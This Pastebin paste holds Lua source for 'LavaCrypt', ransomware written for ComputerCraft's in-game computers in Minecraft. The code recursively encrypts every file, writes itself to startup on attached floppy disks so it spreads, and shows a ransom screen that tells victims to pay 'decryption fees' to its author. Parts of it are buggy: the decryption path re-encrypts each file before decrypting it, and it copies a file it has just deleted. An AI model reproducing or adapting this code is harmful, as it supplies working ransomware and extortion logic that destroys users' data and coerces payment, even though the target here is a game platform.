Diazo

dfdfdfd

Dec 3rd, 2020
736
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --[[
  2. LavaCrypt By Ossie
  3. Virus encrypts all files on PC and anchors itself into Floppy Disks that are connected
  4. One of the most hard to fight viruses ever created due to its infective and encrypting nature
  5. --]]
  6.  
  7.  
  8. -- setting up to ensure deletion of files
  9. print("CraftOS 1.7 Loading...")
  10.  
  11.  
  12. local function convert( chars, dist, inv )
  13. return string.char( ( string.byte( chars ) - 32 + ( inv and -dist or dist ) ) % 95 + 32 )
  14. end
  15.  
  16. local function crypt(str,k,inv)
  17. local enc= "";
  18. local enc1 = {29, 58, 93, 28, 27};
  19. for i=1,#str do
  20. if(#str-k[5] >= i or not inv)then
  21. for inc=0,3 do
  22. if(i%4 == inc)then
  23. enc = enc .. convert(string.sub(str,i,i),k[inc+1],inv);
  24. break;
  25. end
  26. end
  27. end
  28. end
  29. if(not inv)then
  30. for i=1,k[5] do
  31. enc = enc .. string.char(math.random(32,126));
  32. end
  33. end
  34. return enc;
  35. end
  36.  
  37.  
  38. -- Grabs Paths
  39. local function getSubPaths(path)
  40.     local list = fs.list(path)
  41.     local paths = {}
  42.  
  43.     for _, name in pairs(list) do
  44.         local newPath = fs.combine(path, name)
  45.         if (fs.isDir(newPath)) then
  46.             local subPaths = getSubPaths(newPath)
  47.             for i = 1, #subPaths do
  48.                 paths[#paths+1] = subPaths[i]
  49.             end
  50.         else
  51.             paths[#paths+1] = newPath
  52.         end
  53.     end
  54.  
  55.     return paths
  56. end
  57.  
  58. -- Grabs paths from connected disks
  59. local function getPaths(path, readROM)
  60.     if (path == "" or path == "/") then
  61.         if (readROM) then
  62.             return getSubPaths(path)
  63.         else
  64.             local list = fs.list("/")
  65.             local paths = {}
  66.             for _, path in pairs(list) do
  67.                 if (path ~= "rom") then
  68.                     if (fs.isDir(path)) then
  69.                         local subPaths = getSubPaths(path)
  70.                         for i = 1, #subPaths do
  71.                             paths[#paths+1] = subPaths[i]
  72.                         end
  73.                     else
  74.                         paths[#paths+1] = path
  75.                     end
  76.                 end
  77.             end
  78.             return paths
  79.         end
  80.     else
  81.         return getSubPaths(path)
  82.     end
  83. end
  84.  
  85.  
  86. local files = getPaths("/", false)
  87. os.setComputerLabel("Computer_")
  88. fs.delete("virus")
  89. fs.makeDir("virus")
  90.  
  91. if fs.exists("disk") and fs.isDir("disk") then
  92. if fs.exists("disk/startup") then
  93. fs.delete("disk/startup")
  94. end
  95. fs.copy("virus/vir", "disk/startup") -- anchors to disk1
  96. end
  97.  
  98. if fs.exists("disk2") and fs.isDir("disk2") then
  99. if fs.exists("disk2/startup") then
  100. fs.delete("disk2/startup")
  101. end
  102. fs.copy("virus/vir", "disk2/startup") -- anchors to disk2
  103. end
  104.  
  105. if fs.exists("disk3") and fs.isDir("disk3") then
  106. if fs.exists("disk3/startup") then
  107. fs.delete("disk3/startup")
  108. end
  109. fs.copy("virus/vir", "disk3/startup") -- anchors to disk3
  110. end
  111.  
  112. if fs.exists("disk4") and fs.isDir("disk4") then
  113. if fs.exists("disk4/startup") then
  114. fs.delete("disk4/startup")
  115. end
  116. fs.copy("virus/vir", "disk4/startup") -- anchors to disk4
  117. end
  118.  
  119. if fs.exists("disk5") and fs.isDir("disk5") then
  120. if fs.exists("disk5/startup") then
  121. fs.delete("disk5/startup")
  122. end
  123. fs.copy("virus/vir", "disk5/startup") -- anchors to disk5 (basically the max amount of discs you can have on one pc)
  124. end
  125.  
  126. for _,v in pairs(files) do
  127. if string.sub(v, 1,5) == "virus" then
  128. else
  129. end
  130. end
  131. local iv = {}
  132. for i = 1,16 do iv[i] = math.random(1,255) end
  133. for _,v in pairs(files) do
  134.     if v == "virus/aeslua" or v == "virus/logsalt" or v == "virus/vir" or v == "disk/startup" or v == "disk2/startup" or v == "disk3/startup" or v == "disk4/startup" or v == "disk5/startup" or v == "disk/2328a" then
  135.     else
  136.     local hBf = fs.open(v, "r")
  137.     local enc1 = {29, 58, 93, 28, 27};
  138.     local stuff = hBf.readAll()
  139.     local encrypted = crypt(stuff,enc1)
  140.     print("Encrypted file " .. v .. "   " .. encrypted)
  141.     sleep(5)
  142.     hBf.close()
  143.     hAf = fs.open(v, "w")
  144.     hAf.write(encrypted)
  145.     hAf.close()
  146. while true do
  147. term.clear()
  148. term.setCursorPos(1,1)
  149. decode = math.random(0, 1000000)
  150. decoding = fs.exists("disk/2328a")
  151. if decoding == true then
  152.     print("One time Key:", decode, "Make sure to enter the code correctly")
  153.     print(" ")
  154. end
  155. print("--- [LavaCrypt] ---")
  156. print("All files on this pc have been encrypted.")
  157. print("Reclaiming your files is impossible without the decryption file")
  158. print("Please msg Osssie when he is online to discuss decryption fees.")
  159. print("Do not try to act smart and spread your decryption file to other players.")
  160. print("I Create the decryption files personally and the encryption algorithms are")
  161. print("randomly generated on each PC, It will not work. If you get infected again")
  162. print("on a different PC, You will have to pay again.")
  163. print("--- [LavaCrypt] ---")
  164. write("Removal password: ")
  165. if tonumber(read("*")) == decode then
  166.     print("Success! Decrypting files, please wait.")
  167.     sleep(2)
  168.     term.clear()
  169.     term.setCursorPos(1,1)
  170.     os.setComputerLabel("Decrypted PC")
  171.     fs.delete("startup")
  172.     fs.delete("start")
  173.     fs.delete("virus/vir")
  174.     local iv = {}
  175.     for i = 1,16 do iv[i] = math.random(1,255) end
  176.     for _,v in pairs(files) do
  177.     if v == "virus/aeslua" or v == "virus/logsalt" or v == "virus/vir" or v == "disk/startup" or v == "disk2/startup" or v == "disk3/startup" or v == "disk4/startup" or v == "disk5/startup" or v == "disk/2328a" then
  178.     else
  179.     local hBf = fs.open(v, "r")
  180.     local enc1 = {29, 58, 93, 28, 27};
  181.     local stuff = hBf.readAll()
  182.     print("this is hbf.readall" .. "    " .. stuff)
  183.     local encrypted = crypt(stuff,enc1)
  184.     print("this is after defining encrypted" .. "   " .. encrypted)
  185.     local decrypted = crypt(encrypted,enc1,true)
  186.     print("Decrypted file " .. v .. decrypted)
  187.     hBf.close()
  188.     hAf = fs.open(v, "w")
  189.     hAf.write(decrypted)
  190.     hAf.close()
  191.     end
  192. end
  193. break
  194. else
  195.     print("Incorrect Code!")
  196.     sleep(1)
  197. end
  198. end
  199.     end
  200. end
RAW Paste Data